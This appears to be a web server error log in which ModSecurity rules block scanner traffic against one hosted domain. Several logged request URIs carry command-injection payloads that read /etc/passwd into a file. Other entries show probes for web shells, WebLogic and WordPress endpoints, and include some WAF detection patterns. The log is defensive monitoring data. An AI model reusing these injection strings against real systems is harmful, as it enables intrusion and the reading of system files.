[Thu Nov 20 12:18:16.666137 2025] [:error] [pid 55430:tid 55441] [client 144.48.39.108:41574] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Edtkg.txt"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/include/exportUser.php"] [unique_id "aR6WiPPZXaIMEU4pE7uoOgAAAMg"]
[Thu Nov 20 12:18:17.671781 2025] [:error] [pid 55430:tid 55434] [client 144.48.39.108:41640] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6WifPZXaIMEU4pE7uoQAAAAME"]
[Thu Nov 20 12:18:18.182068 2025] [:error] [pid 55340:tid 55363] [client 144.48.39.108:41684] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/web.config.i18n.ashx"] [unique_id "aR6WivOxD-NeMydTybBO9AAAABI"]
[Thu Nov 20 12:18:18.186867 2025] [:error] [pid 34444:tid 34468] [client 144.48.39.108:41672] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20ugwPSvhVyq.txt%60"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/card_scan.php"] [unique_id "aR6WilNEol4jlmmA_GP1kQAAAVY"]
[Thu Nov 20 12:18:24.186324 2025] [:error] [pid 34444:tid 34470] [client 144.48.39.124:56222] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Nov 20 12:18:26.190492 2025] [:error] [pid 34405:tid 34414] [client 144.48.39.124:56260] File does not exist: /usr/local/apache/htdocs/suspended-page/__debugging_center_utils___.php
[Thu Nov 20 12:18:26.592454 2025] [:error] [pid 55340:tid 55369] [client 144.48.39.124:56286] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "windfarmcoolants.com.au"] [uri "/adxmlrpc.php"] [unique_id "aR6WkvOxD-NeMydTybBPAgAAABg"]
[Thu Nov 20 12:18:32.196626 2025] [:error] [pid 34405:tid 34409] [client 144.48.39.84:51020] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR6WmDFpvu8oRK7ATfvONwAAAQI"]
[Thu Nov 20 12:19:50.442622 2025] [:error] [pid 55340:tid 55355] [client 144.48.39.124:59954] [client 144.48.39.124] ModSecurity: Error reading request body: Partial results are valid but processing is incomplete [hostname "windfarmcoolants.com.au"] [uri "/wls-wsat/CoordinatorPortType"] [unique_id "aR6WqPOxD-NeMydTybBPKgAAAAo"]
[Thu Nov 20 18:53:29.297078 2025] [:error] [pid 40636:tid 40646] [client 146.70.194.222:49986] [client 146.70.194.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.194.222, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aR7zKQK8BWUoW3xq0HAObQAAA4Y"]
[Thu Nov 20 18:53:29.297291 2025] [:error] [pid 40636:tid 40646] [client 146.70.194.222:49986] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.70.194.222, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aR7zKQK8BWUoW3xq0HAObQAAA4Y"]
[Thu Nov 20 18:53:29.997497 2025] [:error] [pid 55430:tid 55447] [client 146.70.194.222:49994] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.70.194.222, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aR7zKfPZXaIMEU4pE7sBoQAAAM4"]
[Thu Nov 20 18:53:30.680889 2025] [:error] [pid 34405:tid 34429] [client 146.70.194.222:50002] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.70.194.222, counter = 6"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aR7zKjFpvu8oRK7ATfsbJAAAARY"]
[Thu Nov 20 18:53:31.394387 2025] [:error] [pid 40636:tid 40658] [client 146.70.194.222:50014] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.70.194.222, counter = 7"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aR7zKwK8BWUoW3xq0HAOcAAAA5I"]
[Thu Nov 20 19:44:45.978536 2025] [:error] [pid 40508:tid 40516] [client 20.58.138.186:4387] File does not exist: /usr/local/apache/htdocs/suspended-page/m.php
[Thu Nov 20 19:44:45.997163 2025] [:error] [pid 40508:tid 40520] [client 20.58.138.186:4387] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Nov 20 19:44:46.027481 2025] [:error] [pid 40508:tid 40513] [client 20.58.138.186:4387] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Thu Nov 20 19:44:46.066058 2025] [:error] [pid 40508:tid 40514] [client 20.58.138.186:4387] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Thu Nov 20 19:44:46.093930 2025] [:error] [pid 40508:tid 40521] [client 20.58.138.186:4387] File does not exist: /usr/local/apache/htdocs/suspended-page/gmo.php
[Thu Nov 20 19:44:46.121620 2025] [:error] [pid 40508:tid 40517] [client 20.58.138.186:4387] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7_LqxXNVCMW_ksxPu-BQAAAoc"]
[Thu Nov 20 19:44:58.668649 2025] [:error] [pid 40636:tid 40663] [client 20.58.138.186:62235] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7_OgK8BWUoW3xq0HAXhwAAA5c"]
[Thu Nov 20 19:44:59.926646 2025] [:error] [pid 55343:tid 55409] [client 20.58.138.186:43087] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7_O1WlO3EnyVMV7w67uAAAAIo"]
[Thu Nov 20 19:45:29.355190 2025] [:error] [pid 40508:tid 40523] [client 20.58.138.186:4946] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/BypassBest.php"] [unique_id "aR7_WaxXNVCMW_ksxPu-RQAAAo0"]
[Thu Nov 20 19:45:31.397275 2025] [:error] [pid 40508:tid 40525] [client 20.58.138.186:60832] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/BypassBest.php"] [unique_id "aR7_W6xXNVCMW_ksxPu-SAAAAo8"]
[Thu Nov 20 19:45:32.967353 2025] [:error] [pid 55342:tid 55380] [client 20.58.138.186:4297] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/BypassBest.php"] [unique_id "aR7_XLg6x32Tvk7fIG_p6gAAAEg"]
[Thu Nov 20 19:45:35.191632 2025] [:error] [pid 55340:tid 55366] [client 20.58.138.186:4849] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/BypassBest.php"] [unique_id "aR7_X_OxD-NeMydTybCpGAAAABU"]
[Thu Nov 20 19:45:37.111689 2025] [:error] [pid 40445:tid 40477] [client 20.58.138.186:4304] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aR7_YVH-MuFcoWRjXpZqXAAAAkI"]
[Thu Nov 20 19:45:39.170716 2025] [:error] [pid 40508:tid 40532] [client 20.58.138.186:4169] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aR7_Y6xXNVCMW_ksxPu-VwAAApY"]
[Thu Nov 20 19:45:40.563960 2025] [:error] [pid 40537:tid 40555] [client 70.174.180.194:38916] [client 70.174.180.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 70.174.180.194, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR7_ZKKlsL5kxTa3c1ztAgAAAs4"]
[Thu Nov 20 19:45:40.568241 2025] [:error] [pid 40537:tid 40555] [client 70.174.180.194:38916] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 20 19:45:41.736100 2025] [:error] [pid 34405:tid 34421] [client 20.58.138.186:4327] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aR7_ZTFpvu8oRK7ATfslggAAAQ4"]
[Thu Nov 20 19:45:43.315231 2025] [:error] [pid 55342:tid 55389] [client 20.58.138.186:4328] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aR7_Z7g6x32Tvk7fIG_p-QAAAFE"]
[Thu Nov 20 19:45:49.695881 2025] [:error] [pid 40636:tid 40647] [client 20.58.138.186:60804] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Thu Nov 20 19:45:49.726425 2025] [:error] [pid 40636:tid 40640] [client 20.58.138.186:60804] File does not exist: /usr/local/apache/htdocs/suspended-page/13.php
[Thu Nov 20 19:45:49.946331 2025] [:error] [pid 40636:tid 40652] [client 20.58.138.186:60804] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Thu Nov 20 19:45:50.102531 2025] [:error] [pid 40636:tid 40663] [client 20.58.138.186:60804] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aR7_bgK8BWUoW3xq0HAXvAAAA5c"]
[Thu Nov 20 19:45:51.570841 2025] [:error] [pid 55340:tid 55364] [client 20.58.138.186:39868] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aR7_b_OxD-NeMydTybCpJgAAABM"]
[Thu Nov 20 19:45:54.153893 2025] [:error] [pid 55343:tid 55400] [client 20.58.138.186:4303] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aR7_clWlO3EnyVMV7w68CwAAAIE"]
[Thu Nov 20 19:45:56.364281 2025] [:error] [pid 40415:tid 40441] [client 20.58.138.186:4207] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aR7_dKhjIyLSv09svwO1kwAAAdc"]
[Thu Nov 20 19:45:59.046469 2025] [:error] [pid 40445:tid 40476] [client 20.58.138.186:39821] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/0.php"] [unique_id "aR7_d1H-MuFcoWRjXpZqcwAAAkE"]
[Thu Nov 20 19:46:03.763874 2025] [:error] [pid 40537:tid 40541] [client 20.58.138.186:39809] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aR7_e6KlsL5kxTa3c1ztFQAAAsA"]
[Thu Nov 20 19:46:09.190540 2025] [:error] [pid 40636:tid 40661] [client 20.58.138.186:39880] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aR7_gQK8BWUoW3xq0HAX0QAAA5U"]
[Thu Nov 20 19:46:13.222470 2025] [:error] [pid 34405:tid 34408] [client 20.58.138.186:35689] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aR7_hTFpvu8oRK7ATfslnAAAAQE"]
[Thu Nov 20 19:46:16.244139 2025] [:error] [pid 34405:tid 34419] [client 20.58.138.186:53112] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aR7_iDFpvu8oRK7ATfslogAAAQw"]
[Thu Nov 20 19:46:17.635615 2025] [:error] [pid 40445:tid 40497] [client 20.58.138.186:36974] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aR7_iVH-MuFcoWRjXpZqhAAAAlY"]
[Thu Nov 20 19:46:18.547766 2025] [:error] [pid 55340:tid 55364] [client 20.58.138.186:53069] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aR7_ivOxD-NeMydTybCpNwAAABM"]
[Thu Nov 20 19:46:20.998303 2025] [:error] [pid 55340:tid 55368] [client 20.58.138.186:35710] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aR7_jPOxD-NeMydTybCpOgAAABc"]
[Thu Nov 20 19:46:22.075402 2025] [:error] [pid 55342:tid 55387] [client 20.58.138.186:36931] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aR7_jrg6x32Tvk7fIG_qHAAAAE8"]
[Thu Nov 20 19:46:29.229098 2025] [:error] [pid 40508:tid 40520] [client 20.58.138.186:35659] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/i1.php"] [unique_id "aR7_laxXNVCMW_ksxPu-dAAAAoo"]
[Thu Nov 20 19:46:35.270528 2025] [:error] [pid 55342:tid 55385] [client 20.58.138.186:36948] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/i1.php"] [unique_id "aR7_m7g6x32Tvk7fIG_qJgAAAE0"]
[Thu Nov 20 19:46:36.784725 2025] [:error] [pid 40445:tid 40476] [client 20.58.138.186:4463] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/i1.php"] [unique_id "aR7_nFH-MuFcoWRjXpZqqAAAAkE"]
[Thu Nov 20 19:46:41.312503 2025] [:error] [pid 55342:tid 55387] [client 20.58.138.186:36284] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aR7_obg6x32Tvk7fIG_qKgAAAE8"]
[Thu Nov 20 19:46:42.688908 2025] [:error] [pid 40445:tid 40481] [client 20.58.138.186:36226] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aR7_olH-MuFcoWRjXpZq1AAAAkY"]
[Thu Nov 20 19:46:43.482584 2025] [:error] [pid 34405:tid 34412] [client 20.58.138.186:53082] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aR7_ozFpvu8oRK7ATfslsgAAAQU"]
[Thu Nov 20 19:46:44.833296 2025] [:error] [pid 40445:tid 40478] [client 20.58.138.186:36234] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aR7_pFH-MuFcoWRjXpZq5wAAAkM"]
[Thu Nov 20 19:46:46.861139 2025] [:error] [pid 40537:tid 40556] [client 20.58.138.186:4433] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/m.php"] [unique_id "aR7_pqKlsL5kxTa3c1ztZAAAAs8"]
[Thu Nov 20 19:46:48.281130 2025] [:error] [pid 40537:tid 40555] [client 20.58.138.186:53093] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/m.php"] [unique_id "aR7_qKKlsL5kxTa3c1ztZQAAAs4"]
[Thu Nov 20 19:46:51.301923 2025] [:error] [pid 40445:tid 40488] [client 20.58.138.186:55599] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Nov 20 19:46:51.322975 2025] [:error] [pid 40445:tid 40494] [client 20.58.138.186:55599] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php
[Thu Nov 20 19:46:51.362908 2025] [:error] [pid 40445:tid 40484] [client 20.58.138.186:55599] File does not exist: /usr/local/apache/htdocs/suspended-page/17.php
[Thu Nov 20 19:46:51.381782 2025] [:error] [pid 40445:tid 40496] [client 20.58.138.186:55599] File does not exist: /usr/local/apache/htdocs/suspended-page/0.php
[Thu Nov 20 19:46:51.484637 2025] [:error] [pid 40445:tid 40498] [client 20.58.138.186:55599] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Thu Nov 20 19:46:51.515849 2025] [:error] [pid 40445:tid 40497] [client 20.58.138.186:55599] [client 20.58.138.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aR7_q1H-MuFcoWRjXpZrBQAAAlY"]
[Thu Nov 20 19:46:55.971574 2025] [:error] [pid 55430:tid 55439] [client 20.58.138.186:55612] [client 20.58.138.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aR7_r_PZXaIMEU4pE7sLEwAAAMY"]
